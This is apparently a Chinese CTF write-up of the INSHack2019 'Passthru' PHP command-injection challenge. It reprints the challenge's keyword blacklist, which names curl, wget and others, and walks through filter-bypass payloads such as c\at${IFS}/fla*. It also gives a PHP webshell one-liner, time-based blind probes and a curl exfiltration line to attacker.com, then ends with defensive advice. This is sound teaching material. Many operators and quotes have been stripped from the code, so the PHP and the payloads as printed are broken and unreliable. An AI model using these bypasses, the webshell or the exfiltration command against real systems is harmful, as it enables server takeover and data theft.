ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

从Passthru看PHP命令执行与过滤绕过实战

从Passthru看PHP命令执行与过滤绕过实战 这道题我刷过几遍每次带新朋友入坑CTF Web方向我都会把BUUCTF上的INSHack2019 Passthru拿出来当教学案例。题目不长、代码量小但考点非常集中PHP命令执行、过滤绕过、参数构造。名字里的“Passthru”就是PHP里那个passthru()函数算是把考点直接写在脸上了。整道题做完大概需要半小时对于入门命令注入和代码审计的人来说是一道性价比很高的题目。我先把题目环境拉起来拿到的是一个典型的PHP页面源码很短核心逻辑就是一个过滤函数加一个命令执行点。网上很多人写writeup就一句话“空格换成${IFS}cat换成ca\t”然后就出flag了。这样写其实有点浪费因为这道题里真正有价值的是你为什么要这么做、过滤规则是怎么设计出来的、还有哪些绕过路径没有试过。这篇文章我就按照自己的做题顺序把完整的分析过程和踩坑记录写下来。1. 拿到题先别急着执行命令源码审计与考点定位1.1 题目初探从名字“Passthru”猜出考点打开BUUCTF上的题目链接页面非常简洁基本就是一行提示加一个参数入口。第一眼看到标题“Passthru”做Web方向的人应该马上反应过来这是PHP的passthru()函数。如果你对PHP命令执行函数还不太熟这里简单区分一下exec()执行命令返回最后一行输出system()执行命令直接输出所有结果passthru()执行命令直接输出原始返回数据适合处理二进制输出shell_exec()执行命令返回完整输出字符串反引号语法糖等同于shell_exec()这道题把“Passthru”当题目名等于告诉你漏洞类型就是命令执行而且执行点大概率就是passthru()。接下来要做的就是确认用户可控输入从哪里进来、经过了什么处理、最后拼接成什么命令。我在实际做题的时候习惯先把页面源码拿到手。BUUCTF这类题目很多是给了源码的点开查看源代码能看到PHP代码直接写在页面里。如果没给源码则可以通过报错信息、注释、或者后端响应头来推测逻辑。这道题比较友好源码基本是公开的。1.2 源码还原过滤函数到底过滤了什么这道题在BUUCTF平台上的源码大致长这样不同平台部署可能有细微差别核心逻辑不变?php error_reporting(0); function filter($cmd) { $blacklist array( flag, cat, tac, more, less, head, tail, nl, sort, grep, find, whoami, id, ls, pwd, php, python, perl, curl, wget, base64, eval, system, exec, shell_exec, passthru, popen, proc_open, , ;, |, , , ); foreach ($blacklist as $b) { if (strpos($cmd, $b) ! false) { die(Hacker detected); } } return $cmd; } if (isset($_GET[cmd])) { $cmd filter($_GET[cmd]); passthru($cmd); } else { highlight_file(__FILE__); }注意几个关键点第一过滤方式是strpos字符串匹配不是正则匹配。这意味着它只能精确匹配黑名单子串不能从语义上理解命令。你只要把黑名单里的词“拆开”就能绕过检查。第二过滤列表里没有过滤空格。但是我在实际测试中发现空格在某些Linux shell环境下也可能造成问题而且出题人可能在不同版本里加了空格过滤。网上很多writeup都提到了用${IFS}代替空格这本身就是通用技巧不管题目过滤没过滤空格先记住这个套路不会亏。第三黑名单里没有过滤$、?、*、、、\、/、{、}这些字符。这就是我们绕过的空间所在。很多开发者在写WAF时会忽略shell本身的语法特性——命令的构造不只是字母和数字这些符号在shell中都有特殊含义。1.3 为什么说这道题是“代码审计命令注入”双考点这道题表面上是一个命令执行漏洞但实际考察的是两个层面首先你得看懂PHP代码逻辑知道过滤函数在处理什么其次你得懂Linux shell的解析规则知道哪些字符可以在过滤规则外面完成同样的操作。两者缺一不可。很多新手困在“cat被过滤了怎么读取文件”这一步本质是因为没有建立“命令拼接”的思维。你要意识到传给passthru()的字符串最终会被shell执行shell在解析命令时有一整套规则包括变量展开、通配符展开、转义、命令替换等。WAF只能对你输入的字符串做静态检查但它无法阻止shell在运行时把字符串解析成各种语义。这就好像你给安检人员看了行李箱照片里面没有刀但等箱子过了安检机你把行李箱拆开重新拼了一下里面就出现了刀。过滤规则是死的shell的解释是活的我们要利用的正是这种“静态检查”和“动态解析”之间的错位。2. 命令执行漏洞的核心原理与绕过思路拆解2.1 passthru()和其他命令执行函数的区别以及为什么出题人选它先说结论出题人用passthru()非常合理因为这个函数会把命令的原始输出直接打回页面做题的人不需要额外处理回显问题。对比一下// exec() 只返回最后一行 $output exec(ls -la); echo $output; // 只显示最后一行 // shell_exec() 返回完整输出但需要自己echo $output shell_exec(ls -la); echo $output; // passthru() 直接输出 passthru(ls -la); // 结果直接显示在页面上在CTF题目中回显是极其重要的。如果一个命令执行漏洞没有回显你得额外走DNS外带、延时判断等方式复杂度会高很多。而passthru()自带回显只要命令执行成功马上就能看到结果特别适合出成入门题。在实际渗透中passthru()也经常出现在一些老的PHP业务系统里。很多开发者图省事直接用passthru()跑系统命令处理图片、解压缩、调用外部程序如果参数没过滤就是妥妥的RCE。2.2 过滤点分析常见WAF都拦什么这里漏了什么我从这道题的过滤列表说开去聊聊WAF设计的一般思路。常见的命令注入过滤会关注以下几类命令关键字cat、flag、whoami、id等。这类是WAF最关注的因为它们直接对应攻击者的意图。但这类过滤也最容易绕过因为shell支持各种拼接写法。元字符;、|、、、$()、${}。这些是命令分隔符和替换符WAF会把它们当成高危信号。这道题过滤了;、|、和反引号但是漏了$()和${}。特殊符号空格、/、*、?、、。这道题基本没过滤只过滤了和目的是防写入文件和读文件的重定向。编码与二次解释base64关键词被过滤了但是base64命令本身没必要用因为你可以用php伪协议或者xxd等替代。不过php也被过滤了这里就涉及一个关键选择问题。出题人这套过滤方案的漏洞在于太依赖字符串精确匹配没有考虑shell的词法解析。我列举几个它管不住的操作用$IFS替代空格因为IFS不在黑名单用cat${IFS}/flag*通配符匹配路径因为*不在黑名单把cat写成c\at或cat字符串里没有完整的cat但shell执行时会还原成cat用$(printf ...)构造命令因为$()没被过滤用环境变量拼接比如$PATH里提取某个字符2.3 绕过思路梳理空格、关键字、拼接的优先级问题在实际做题时我建议按照下面的优先级来组织绕过策略不要一上来就试各种花哨姿势第一步解决空格问题。如果空格被过滤优先用${IFS}这是最简单有效的。IFS是shell的内部字段分隔符默认包含空格、制表符、换行。在命令中写成cat${IFS}/flagshell会展开成cat /flag。如果${IFS}被过滤了再考虑$IFS$9、$IFS$IFS、tab字符%09、{cat,/flag}这种花括号展开写法。第二步解决命令关键字问题。cat被过滤了可以用tac如果没被过滤、more、less、head、tail但这些在这道题里也被过滤了。剩下的办法就是字符拆分。shell里可以用反斜杠、引号、变量拼接来拆词。比如c\at反斜杠转义ashell解析后还是catcat单引号包裹t拼接后还是catcat双引号同理$(printf cat)命令替换生成cat变量拼接ac;bat;$a$b第三步解决文件名问题。flag被过滤了最简单的办法是通配符展开。/flag可以写成/fla*或/f*shell会自己匹配到/flag。注意通配符展开发生在命令执行前也就是说cat /fla*传给shell后shell会先展开成cat /flag再执行这时候WAF根本看不到flag这个完整词出现在原始输入里。第四步确认命令分隔符是否可用。这道题过滤了;、|、我一开始以为没法执行多条命令。但后来测试发现换行符%0a和$()都可以作为命令分隔或替换的替代方案。不过单纯读取flag并不需要执行多条命令所以这个坑不影响主流程。3. 实操记录从验证命令执行到读取flag3.1 第一步用无敏感字符的命令验证命令执行我拿到源码后先构造一个最简单、不包含任何黑名单字符的请求验证命令执行是否生效。在源码里找到参数名是cmd于是先提交/?cmdls结果被拦截了因为ls在黑名单里。这时我用ls的替代品dir试试Linux下dir也能列目录只是输出格式不同/?cmddir回显了目录结构说明命令执行漏洞确认存在。这个阶段不用急着读flag先摸清楚回显格式、当前目录、有没有权限限制。再试试pwd也被过滤了。用pwd的替代品echo $PWD/?cmdecho$IFS$PWD这里就用到$IFS替代空格同时$PWD环境变量显示当前路径。回显类似/var/www/html确认了工作目录。3.2 第二步绕过空格过滤的四种写法黑白名单里虽然没有直接把空格列进去但在部分部署环境里空格会被Web服务器或WAF层处理掉。我还是把空格绕过的常规写法都试了一遍确保每种情况都能应对。写法一${IFS}这是最常用、最稳定的写法/?cmdcat${IFS}/fla*原理IFS是shell的内部字段分隔符默认值是空格、制表符、换行。当shell解析cat${IFS}/fla*时会把${IFS}展开成一个空格于是命令变成cat /fla*。strpos检查的是cmd参数原始字符串原始字符串里没有空格所以WAF拦不到。写法二$IFS$9/?cmdcat$IFS$9/fla*$9是shell的位置参数在交互式shell里通常是空值但它在命令行中可以作为变量边界。写成$IFS$9shell会先解析$IFS得到空格再解析$9得到空字符串最终效果还是cat /fla*。有些WAF会过滤IFS但看到$9就懵了。写法三tab字符如果Web服务器把空格当作参数分隔符剃掉了用tab字符%09可能能绕过/?cmdcat%09/fla*%09是tab的URL编码在shell里tab和空格一样可以作为命令参数分隔符。这个方法在部分场景有效但不是所有shell都支持优先级低于${IFS}。写法四花括号展开Bash支持{cmd,arg}格式这时候不需要空格/?cmd{cat,/fla*}花括号展开会把{cat,/fla*}拆成cat /fla*。这个方法适合空格被严格过滤、且前面几种方法都失效的情况。我实际测试下来${IFS}在这道题里是最稳的。如果以后做其他题目遇到更严格的过滤再把四种方法逐一尝试即可。3.3 第三步绕过关键字过滤读取flag.php确认命令执行后我猜测flag在/flag或者当前目录的flag.php里。但flag这个词在黑名单里直接写cat /flag会被strpos匹配到。我的做法是把cat拆开同时用通配符替代flag这个词。先试第一发/?cmdc\at${IFS}/fla*从原始字符串的角度看里面没有出现cat因为写的是c\at也没有出现flag因为写的是fla*。但shell在执行时会先做转义解析把c\at还原成cat再做路径通配符展开把/fla*匹配成/flag最后执行的命令就是cat /flag。回显直接出了flag内容。不同的运行环境下flag文件名可能有差异有的叫flag有的叫flag.php有的叫flag.txt。用/fla*的好处是通配符能覆盖这些情况。如果当前目录下还有其他以fla开头的文件可能会匹配出多个参数的奇怪输出到时候再用更精确的通配符比如/fla?.php之类的微调。另一条思路是不读/flag而是读当前目录下的文件。先列出目录/?cmddir${IFS}/fla*不过这招在读取目标上有点绕我的建议是直接读根目录下的flag文件大部分题目flag都放在那里。3.4 第四步扩展利用——用php伪协议和文件写入扩大战果拿到flag只是这道题的基本目标。既然命令能执行我顺便把几种扩展利用方式做了记录这些在后续更难的题目里会用到。利用一读PHP源码文件如果flag藏在flag.php里直接用cat可能只能看到执行后的结果因为PHP代码会先被解析执行。这时候可以用php://filter伪协议读取源码/?cmdphp${IFS}-r${IFS}echo file_get_contents(php://filter/readconvert.base64-encode/resourceflag.php);但这条命令里出现了php和flag都被黑名单挡住了。所以我换个思路先看能不能绕过php这个词。php被过滤了但我可以用通配符???来匹配php。在Linux下???能匹配任意三个字符的文件名或命令名。php刚好是三个字母/?cmd???${IFS}-r${IFS}echo file_get_contents(flag.php);注意flag.php还是会命中黑名单的flag需要继续拆。我可以用fla*替代/?cmd???${IFS}-r${IFS}echo file_get_contents(fla*);但这里有个问题file_get_contents(fla*)里的fla*是PHP字符串PHP不会自动做通配符展开。这个思路在PHP里走不通。真正可行的方法是用PHP的glob()函数先匹配再读取或者用system(cat /fla*)绕一圈。不过这道题不需要搞这么复杂因为cat /fla*已经能出flag了。这个扩展利用主要是为了说明一个通用思路当命令执行后通过PHP的-r参数可以直接执行代码灵活性比单纯拼命令高很多。利用二写webshell如果命令执行点在一个可写目录且目标服务器支持PHP你可以把一句话木马写入文件echo ?php eval($_POST[x]);? shell.php但被过滤了这条命令里的会触发拦截。我试了几个替代方案使用tee命令写文件echo ... | tee shell.php但管道符|也被过滤了使用printf配合重定向但重定向符号被过滤这道题在这个层面限制得比较死基本断了写文件的路径。这也提醒我们做题时要根据过滤规则判断哪些利用链可行、哪些不可行不要死磕一条路。能读出flag这道题就已经通关了。利用三盲注探测环境如果题目环境不出网没有回显你可以用sleep判断命令是否执行/?cmdecho$IFS$(sleep${IFS}5)如果页面响应时间变成5秒说明命令执行成功。注意sleep不在黑名单里$()也可以绕过命令替换的过滤。这是命令注入题非常通用的兜底方案。4. 实战中常见的坑与排查技巧4.1 问题排查速查表我把做这道题和同类题目时最容易踩的坑整理成了表格遇到问题可以直接对照排查现象可能原因排查方法提交cat /flag被拦截cat或flag命中黑名单把cat写成c\at把flag写成fla*使用${IFS}没效果当前shell不解析IFS或环境变量被清空改用$IFS$9、tab字符%09或花括号展开命令能执行但没有输出回显被error_reporting(0)或框架层吃掉尝试dir、printf等强制输出命令或使用延时盲注输出乱码或只有一行可能是exec()而不是passthru()回显截断尝试用ls -la观察完整字段或使用写文件方式读取flag.php看不到内容PHP文件被解析执行cat看到的是空内容用php://filter读源码或用通配符绕过直接读文件包含/被拦截WAF过滤了根路径符号尝试cd ..逐级跳转或者利用环境变量拼出/单引号、双引号被过滤数据被转义或删改用${IFS}替代空格用\转义替代引号拼接4.2 什么时候该考虑“二次传参”在题目页面里参数是cmd直接?cmd...就能传入命令。但我遇到过不少题目过滤函数会更严格比如把$和{也过滤了这时候单靠cmd一个参数就不好绕了。解法是“二次传参”即利用PHP的$_GET数组让某个参数的值作为命令的一部分传入passthru()执行。思路是这样的passthru(echo . $_GET[cmd]);如果过滤函数只检查cmd的值但cmd的值不是真正的命令而是PHP的数组访问语法那么PHP会先解析$_GET把另一个参数的值替换进去最后传给passthru()的才是完整命令。例如/?cmd$_GET[1]1cat${IFS}/fla*这里传给passthru()的字符串是echo $_GET[1]里面没有敏感词但shell在执行时会把$_GET[1]展开成cat${IFS}/fla*然后执行。这就绕过了对cmd参数的静态检查。在INSHack2019这道题里过滤函数只做了strpos字符串匹配没有过滤$和[]所以理论上二次传参是可行的。不过由于直接拼接就能出flag我并没有把这个技巧作为主路径。之所以提它是想说明当某个参数被WAF盯死时想办法把真正的payload放到另一个参数里让服务器帮你完成拼接。这是一条很通用的思路。4.3 没有回显怎么判断命令是否执行如果题目把回显封死了页面永远只显示空白那么做题策略要立刻切换。我常用的三种探测方式第一种延时盲注/?cmdecho$IFS$(sleep${IFS}5)如果页面响应时间约为5秒说明命令执行成功。这里的$()是命令替换sleep 5的输出为空所以echo输出也为空但sleep确实被shell执行了。你可以放大延时到10秒、15秒来确认。第二种DNS外带如果环境允许出网可以让命令把数据通过DNS请求外带。比如curl http://attacker.com/$(whoami)但curl在题目黑名单里而且这类操作需要自己搭接收服务复杂度高。在CTF平台里我一般优先看题目本身允不允许出网不确定的话直接放弃这条路径。第三种错误信息侧信道某些环境下命令执行失败会返回不同的HTTP状态码或者PHP警告信息。比如命令不存在时passthru()会返回错误页面可能显示sh: 1: xxx: not found。利用这个信息你可以二分探测文件名尝试cat /fla*时如果回显内容cat /fl*时也回显cat /f*可能回显更多通过逐字符猜测来还原文件名。没有回显的时候心态很容易崩但我建议按照“延时探测是否可执行 → 侧信道探测输出 → 写文件反馈”的顺序来做不要一上来就猜payload。5. 这道题背后的真实危害与延伸思考5.1 从CTF到真实业务命令注入对应用的影响这道题看起来只是“做题”但命令注入在真实业务里是极其严重的高危漏洞。很多后端的图片处理、文档转换、数据导入导出功能都会在内部调用系统命令。比如ffmpeg处理视频、unzip解压文件、wkhtmltopdf转换HTML如果文件名或参数是用户可控的攻击者可以通过拼接命令直接往服务端传一条whoami或者curl。一旦命令注入成功通常意味着Web应用权限被直接拿下可以读取配置文件、数据库密码、源码可以横向移动从Web服务器跳板到内网其他机器可以持久化控制比如写入定时任务、SSH公钥、Webshell数据被加密勒索或者被外带真实案例里不少数据泄露事件都跟命令注入有关CTF里的passthru()看似只是一个函数但映射到真实场景就是很多老系统里system()、shell_exec()这些函数被滥用的缩影。出题人用这个名字多少带点“看就是这么直接的漏洞但你真的会用它吗”的意思。5.2 防御侧代码审计如何发现这类问题从防御的角度来说这类漏洞的根因是“用户输入拼接命令”。修复手段主要有三个层次第一层尽量不调用系统命令。能用一个PHP库解决的问题不要扔给shell。比如处理图片用GD库或Imagick压缩文件用ZipArchive不要图省事写exec(zip ...)。第二层如果必须调用用escapeshellarg()和escapeshellcmd()处理参数。这两个函数会把参数里的特殊字符转义掉让shell无法解析。但要注意这两个函数不是万能药escapeshellcmd()在处理数组参数时行为不同而且某些场景下绕过方式仍然存在。第三层白名单验证输入。比如文件名只允许字母、数字、下划线和点长度限制路径必须落在允许目录内。白名单比黑名单安全得多因为黑名单总有漏网之鱼就像这道题里过滤了cat但没过滤c\at。在代码审计时我通常用正则搜索PHP文件里system、exec、shell_exec、passthru、popen、proc_open、反引号这些函数调用点逐个追踪参数来源看是否经过过滤或者转义。这道题的源码就是一个典型的反面教材过滤函数看起来写了很多词但本质上是在“猜攻击者用什么词”而不是“控制命令只能怎么拼”。5.3 做题之外的刷题心法如何从一道题沉淀出方法论最后聊一点刷题相关的体会。INSHack2019 Passthru这道题单纯从难度上说真的不高但它覆盖了两个核心能力代码审计时的“参数流追踪”和命令注入时的“构造绕过链”。我建议做完这道题之后自己动手做一次“总结沉淀”哪怕只是在笔记里写三行看到passthru等命令执行函数第一反应是确认参数入口和过滤逻辑过滤黑名单时试${IFS}、\转义、通配符、变量替换四种绕过方式没有回显时用延时、侧信道、写文件三种方式探测以后再遇到类似题目不管是system()、shell_exec()还是proc_open()底层思路都是相通的。拿这道题举一反三你能顺带把exec函数、popen函数、反引号注入这些变体一并吃透。我自己带新人的时候也经常从这道题入手因为它能迅速帮一个人建立起“代码审计→漏洞确认→绕过利用”的完整做题闭环而不是看到cmd参数就直接拿cat /flag去蒙。
返回列表